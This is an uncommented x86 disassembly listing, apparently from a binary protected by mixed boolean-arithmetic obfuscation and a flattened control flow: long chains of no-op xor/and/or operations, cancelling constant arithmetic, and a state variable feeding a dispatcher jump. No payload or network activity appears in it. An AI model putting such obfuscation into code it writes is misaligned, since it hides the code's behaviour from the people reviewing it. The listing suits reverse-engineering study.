xor dl, ch
mov ch, byte [ebp - 0x858]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or dl, al
mov bl, cl
xor bl, 0xff
mov al, dl
and al, bl
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x84e], al
mov al, ah
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov dl, dh
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or dl, dh
or al, ah
xor dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov ah, al
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bh, cl
mov dh, ah
and dh, 0xff
and bl, cl
or dl, bh
or dh, bl
xor dl, dh
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov al, ch
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov byte [ebp - 0x852], al
mov ch, 1
xor ch, 0
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0
or ch, cl
mov cl, bh
xor cl, 0xff
mov dh, 1
xor dh, 0
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov dh, 1
xor dh, 0
mov bl, ch
xor bl, 0xff
mov ah, 1
xor ah, 0
or dh, bl
or ah, 0
xor dh, 0xff
and dh, ah
xor al, 0xff
mov ah, 1
xor ah, 0
mov bl, 1
xor bl, 1
or al, ah
mov ah, byte [ebp - 0x858]
or bl, 1
xor al, 0xff
and al, bl
mov bl, ch
xor bl, 0xff
xor ah, bl
mov bl, byte [ebp - 0x858]
and ah, bl
mov byte [ebp - 0x857], ah
mov bl, cl
and bl, dh
xor cl, dh
or bl, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x853], dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x854], cl
and dh, 0
and al, cl
mov cl, byte [ebp - 0x857]
mov byte [ebp - 0x856], al
mov al, ah
and al, 0
mov byte [ebp - 0x855], al
mov al, byte [ebp - 0x854]
and cl, al
mov al, byte [ebp - 0x856]
or dh, al
mov al, byte [ebp - 0x855]
or al, cl
mov cl, byte [ebp - 0x854]
xor dh, al
mov al, byte [ebp - 0x853]
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov cl, bl
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and bl, al
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, al
mov al, byte [ebp - 0x852]
or cl, bl
or ah, dh
xor cl, ah
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x84f], ah
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
and bh, dh
mov byte [ebp - 0x851], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x850], al
mov al, byte [ebp - 0x851]
or ah, al
mov al, byte [ebp - 0x850]
or bh, al
mov al, byte [ebp - 0x84f]
xor ah, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ah, dh
or al, ah
mov ah, ch
and ah, 0
xor ch, 0
or ah, ch
xor ah, 0xff
mov bh, al
xor bh, ah
and bh, al
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov al, ah
and al, 0
and cl, ch
mov bl, dh
and bl, 0
and bh, ch
or al, cl
mov cl, byte [ebp - 0x84e]
or bl, bh
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, dl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, dl
and ah, ch
or al, ah
xor dl, 0xff
mov ah, al
xor ah, dl
and ah, al
mov ch, cl
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, cl
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov byte [ebp - 0x846], ch
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, dh
or al, dl
xor bh, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov dh, 1
xor dh, 1
mov al, ch
xor al, dh
and al, ch
xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 0
or cl, dh
or ch, 0
xor cl, 0xff
and cl, ch
mov dh, 1
xor dh, 1
mov ch, bh
xor ch, dh
and ch, bh
mov byte [ebp - 0x84a], ch
xor ah, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x84b], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
mov dh, ah
and dh, 0
and al, ch
mov byte [ebp - 0x84d], al
mov al, bl
and al, 0
mov byte [ebp - 0x84c], al
mov al, byte [ebp - 0x84d]
and cl, ch
or dh, al
mov al, byte [ebp - 0x84c]
or al, cl
mov cl, byte [ebp - 0x84b]
xor dh, al
mov al, byte [ebp - 0x84a]
or ah, bl
xor ah, 0xff
or ch, 0
and ah, ch
or dh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x847], ch
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
and ch, 0
and al, ah
mov byte [ebp - 0x849], al
mov al, bl
and al, 0
mov byte [ebp - 0x848], al
mov al, byte [ebp - 0x849]
and cl, ah
or ch, al
mov al, byte [ebp - 0x848]
or al, cl
mov cl, byte [ebp - 0x847]
xor ch, al
mov al, byte [ebp - 0x846]
or cl, bl
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0x845], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x845]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c405e42
mov ecx, 0xf82e922f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
mov edx, eax
sub edx, 0x6e4b3aea
sub edx, 0x1358d18c
add edx, 0x6e4b3aea
add edx, 0x66c41805
add edx, 0xbd8d6f26
sub edx, 0x66c41805
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x1358d18c
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xa3a7d53c
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xf54a4308
sub edx, 1
add edx, 0xf54a4308
add edx, 0x9cb9dcc6
sub edx, 0xa3a7d53c
sub edx, 0x9cb9dcc6
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x2ed39b3b
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x79ce3669
sub edx, 0xbd8d6f26
add edx, 0x79ce3669
add edx, 0xe53aa6a9
sub edx, 0x2ed39b3b
sub edx, 0xe53aa6a9
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl al
mov byte [ebp - 0x8ce], al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, ch
or al, dl
xor bh, al
mov al, bh
xor al, 0xff
mov bl, ah
xor bl, al
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0
mov dh, 1
xor dh, 0
mov ch, dh
and ch, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, ch
mov ch, byte [ebp - 0x8ce]
or al, dh
xor dl, al
xor dl, 0xff
mov dh, 1
xor dh, 1
mov al, 1
xor al, 1
or dl, dh
or al, 1
xor dl, 0xff
and dl, al
mov dh, 1
xor dh, 1
xor bh, 0xff
mov al, 1
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov dh, al
xor dh, 0xff
mov dl, cl
and dl, dh
xor cl, 0xff
and al, cl
or dl, al
mov dh, ch
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov bl, ch
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov cl, 1
xor cl, 1
xor dh, 0xff
mov al, 1
xor al, 0
or cl, dh
or al, 0
xor cl, 0xff
and cl, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
xor ch, 0xff
xor dh, 0xff
mov al, 1
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov byte [ebp - 0x8b9], al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov bh, 1
xor bh, 0
xor ch, 0xff
mov al, 1
xor al, 1
or bh, ch
or al, 1
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x8d5], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x8d5]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0x8b0], al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov al, dl
and al, ch
or cl, al
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
or al, ch
mov ch, 1
xor ch, 0
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov byte [ebp - 0x8d3], ch
mov ch, cl
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, ch
and bh, 0
mov byte [ebp - 0x8d4], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x8d2], al
mov al, byte [ebp - 0x8d4]
or al, cl
mov cl, byte [ebp - 0x8d3]
mov byte [ebp - 0x8d1], al
mov al, byte [ebp - 0x8d2]
or bh, al
mov al, byte [ebp - 0x8d1]
xor al, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or al, ch
mov byte [ebp - 0x8cd], al
mov dh, 1
xor dh, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ch, dh
and ch, 0
mov al, bl
and al, 0
mov byte [ebp - 0x8d0], al
mov al, bh
and al, 0
mov byte [ebp - 0x8cf], al
mov al, byte [ebp - 0x8d0]
and cl, bl
or ch, al
mov al, byte [ebp - 0x8cf]
or al, cl
mov cl, byte [ebp - 0x8ce]
xor ch, al
mov al, byte [ebp - 0x8cd]
or dh, bh
mov bh, byte [ebp - 0x8b0]
xor dh, 0xff
or bl, 0
and dh, bl
or ch, dh
mov bl, al
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and al, dh
or bl, al
xor bl, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or bl, ch
or al, 0
xor bl, 0xff
and bl, al
mov dh, bh
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
and bh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bh
mov bh, byte [ebp - 0x8b9]
or al, ch
xor dh, al
mov ch, ah
xor ch, 0xff
mov al, dh
and al, ch
xor dh, 0xff
mov ch, ah
and ch, dh
or al, ch
xor ah, 0xff
mov dh, al
xor dh, ah
and dh, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov ah, bh
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x8cc], al
and bh, al
mov al, ch
xor al, 0xff
and al, 0
mov byte [ebp - 0x8cb], al
mov al, byte [ebp - 0x8cc]
and ch, al
mov al, byte [ebp - 0x8cb]
or ah, bh
mov bh, byte [ebp - 0x8b0]
or al, ch
mov ch, byte [ebp - 0x8b9]
xor ah, al
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov byte [ebp - 0x8c9], al
mov ah, bh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and bh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, bh
or al, ch
xor ah, al
mov al, cl
xor al, 0xff
mov bh, ah
and bh, al
xor ah, 0xff
mov al, cl
and al, ah
or bh, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, bl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov ch, bl
xor ch, 0xff
and ch, 0
mov al, 1
xor al, 0
and bl, al
mov ah, dh
xor ah, 0xff
and ah, 0
and dh, al
mov al, byte [ebp - 0x8c9]
or ch, bl
or ah, dh
xor ch, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov dh, bh
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or dh, al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x8ca], al
mov al, 1
xor al, 0
mov cl, al
and cl, 1
mov bl, 1
xor bl, 1
and bl, 0
and al, 1
mov byte [ebp - 0x8c8], al
mov al, byte [ebp - 0x8ca]
or al, cl
mov cl, byte [ebp - 0x8c9]
mov byte [ebp - 0x8c7], al
mov al, byte [ebp - 0x8c8]
or bl, al
mov al, byte [ebp - 0x8c7]
xor al, bl
mov byte [ebp - 0x8b5], al
mov bl, 1
xor bl, 1
mov al, ch
xor al, bl
mov bl, byte [ebp - 0x8b5]
and al, ch
mov byte [ebp - 0x8c6], al
xor bl, 0xff
mov al, cl
xor al, bl
and al, cl
mov byte [ebp - 0x8c5], al
mov bl, dh
xor bl, 0xff
mov al, 1
xor al, 1
mov cl, 1
xor cl, 1
or bl, al
mov al, byte [ebp - 0x8c6]
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, byte [ebp - 0x8b5]
mov byte [ebp - 0x8bf], bl
xor cl, 0xff
mov bl, bh
xor bl, cl
mov cl, byte [ebp - 0x8c5]
and bl, bh
mov byte [ebp - 0x8c2], bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x8c1], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x8c0], cl
mov bl, bh
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x8c5]
mov byte [ebp - 0x8c4], al
mov al, byte [ebp - 0x8c1]
and al, 0xff
mov byte [ebp - 0x8c3], al
mov al, byte [ebp - 0x8c0]
and cl, al
mov al, byte [ebp - 0x8c4]
or bl, al
mov al, byte [ebp - 0x8c3]
or al, cl
mov cl, byte [ebp - 0x8c2]
xor bl, al
mov al, byte [ebp - 0x8c1]
or bh, al
mov al, byte [ebp - 0x8c0]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x8bf]
or bl, bh
mov byte [ebp - 0x8ba], bl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x8bc], bh
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x8bb], bl
mov bl, 1
xor bl, 1
and bh, 0xff
and al, bl
mov byte [ebp - 0x8be], al
mov al, byte [ebp - 0x8bb]
and al, 0xff
mov byte [ebp - 0x8bd], al
mov al, byte [ebp - 0x8be]
and cl, bl
or bh, al
mov al, byte [ebp - 0x8bd]
or al, cl
mov cl, byte [ebp - 0x8bc]
xor bh, al
mov al, byte [ebp - 0x8bb]
or cl, al
mov al, byte [ebp - 0x8ba]
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov byte [ebp - 0x8b8], cl
and al, cl
mov cl, byte [ebp - 0x8b9]
mov byte [ebp - 0x8b7], al
mov al, bh
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x8b6], al
mov al, byte [ebp - 0x8b8]
and bh, al
mov al, byte [ebp - 0x8b7]
or bl, al
mov al, byte [ebp - 0x8b6]
or al, bh
xor bl, al
mov al, ch
and al, dh
xor ch, dh
or al, ch
mov ch, al
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
and al, bh
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or ch, al
mov al, byte [ebp - 0x8b5]
or dh, bh
xor ch, dh
mov dh, al
and dh, 1
xor al, 1
or dh, al
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x8b2], bh
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
and bh, 0xff
and bl, ch
mov byte [ebp - 0x8b4], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x8b3], al
mov al, byte [ebp - 0x8b4]
or bh, al
mov al, byte [ebp - 0x8b3]
or bl, al
mov al, byte [ebp - 0x8b2]
xor bh, bl
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or bh, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, ah
and al, dh
or ch, al
xor ch, 0xff
mov al, bh
xor al, ch
and al, bh
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
xor ch, 0xff
mov bh, ah
xor bh, ch
and bh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x8b1], ch
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
and ch, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or ch, al
mov al, byte [ebp - 0x8b1]
or bl, bh
xor ch, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or ch, al
mov ah, dl
xor ah, 0xff
mov dh, cl
xor dh, 0xff
mov al, 1
xor al, 1
or ah, dh
or al, 1
xor ah, 0xff
and ah, al
mov bh, dl
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and dl, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or bh, dl
or al, cl
xor bh, al
mov cl, ah
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and ah, dl
mov bl, dh
and bl, 0xff
and bh, dl
or al, ah
mov ah, byte [ebp - 0x8b0]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bl, al
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
xor dl, 0xff
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
or dh, cl
mov cl, dh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov bh, 1
xor bh, 0
mov al, cl
xor al, bh
and al, cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov dl, al
and dl, dh
xor al, dh
or dl, al
mov dh, cl
xor dh, 0xff
mov al, dl
and al, dh
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x8a2], al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, bl
or al, cl
xor ah, al
mov cl, 1
xor cl, 1
mov al, dl
xor al, cl
and al, dl
mov cl, 1
xor cl, 0
mov bl, ah
xor bl, 0xff
mov bh, 1
xor bh, 1
or cl, bl
mov bl, byte [ebp - 0x8b0]
or bh, 1
xor cl, 0xff
and cl, bh
mov byte [ebp - 0x8af], cl
mov bh, 1
xor bh, 1
mov cl, dh
xor cl, bh
and cl, dh
mov byte [ebp - 0x8a9], cl
xor bl, 0xff
mov cl, ah
xor cl, 0xff
mov bh, 1
xor bh, 0
or bl, cl
mov cl, byte [ebp - 0x8af]
or bh, 0
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x8ac], bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x8ab], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x8aa], cl
mov bl, bh
and bl, 0
and al, cl
mov cl, byte [ebp - 0x8af]
mov byte [ebp - 0x8ae], al
mov al, byte [ebp - 0x8ab]
and al, 0
mov byte [ebp - 0x8ad], al
mov al, byte [ebp - 0x8aa]
and cl, al
mov al, byte [ebp - 0x8ae]
or bl, al
mov al, byte [ebp - 0x8ad]
or al, cl
mov cl, byte [ebp - 0x8ac]
xor bl, al
mov al, byte [ebp - 0x8ab]
or bh, al
mov al, byte [ebp - 0x8aa]
xor bh, 0xff
or al, 0
and bh, al
mov al, byte [ebp - 0x8a9]
or bl, bh
mov byte [ebp - 0x8a4], bl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x8a5], bh
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x8a6], bl
mov bl, 1
xor bl, 1
and bh, 0xff
and al, bl
mov byte [ebp - 0x8a8], al
mov al, byte [ebp - 0x8a6]
and al, 0xff
mov byte [ebp - 0x8a7], al
mov al, byte [ebp - 0x8a8]
and cl, bl
or bh, al
mov al, byte [ebp - 0x8a7]
or al, cl
mov cl, byte [ebp - 0x8a6]
xor bh, al
mov al, byte [ebp - 0x8a5]
or al, cl
mov cl, byte [ebp - 0x8a4]
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x8a3], al
mov al, 1
xor al, 1
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0xff
and bh, al
mov al, byte [ebp - 0x8a3]
or al, cl
mov cl, byte [ebp - 0x8a2]
or bl, bh
xor al, bl
mov bh, dl
and bh, dh
xor dl, dh
or bh, dl
mov dl, bh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or dl, bh
or dh, bl
xor dl, dh
mov dh, ah
and dh, 1
xor ah, 1
or dh, ah
xor dl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or dl, dh
or ah, 0
xor dl, 0xff
and dl, ah
mov dh, al
and dh, dl
xor al, dl
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
mov al, ah
xor al, 0xff
and al, 0xff
and ah, bl
or dl, dh
or al, ah
xor dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov bl, ch
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov ah, dl
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
xor ch, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov cl, 1
xor cl, 1
mov al, dh
xor al, cl
and al, dh
mov byte [ebp - 0x8a1], al
mov al, bh
xor al, 0xff
mov cl, dl
xor cl, al
mov al, byte [ebp - 0x8a1]
and cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov byte [ebp - 0x89e], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x89d], dl
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
and al, ah
mov byte [ebp - 0x8a0], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x89f], al
mov al, byte [ebp - 0x8a0]
and cl, ah
or dl, al
mov al, byte [ebp - 0x89f]
or al, cl
mov cl, byte [ebp - 0x89e]
xor dl, al
mov al, byte [ebp - 0x89d]
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x89c], al
mov cl, bl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bl, dl
mov ch, ah
and ch, 0
and dh, dl
or al, bl
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x89c]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22016953
mov ecx, 0xa3fcc815
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
mov edx, ecx
and edx, esi
or eax, edx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
or esi, edx
xor ecx, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xced74945
or ecx, esi
or edx, 0xced74945
xor ecx, 0xffffffff
and ecx, edx
mov esi, eax
and esi, ecx
xor eax, ecx
or esi, eax
mov ecx, 0xffffffff
xor ecx, 0x80000000
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x80000000
or ecx, eax
mov edx, 0xffffffff
xor edx, 0xb5241ab6
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x257dd8f4
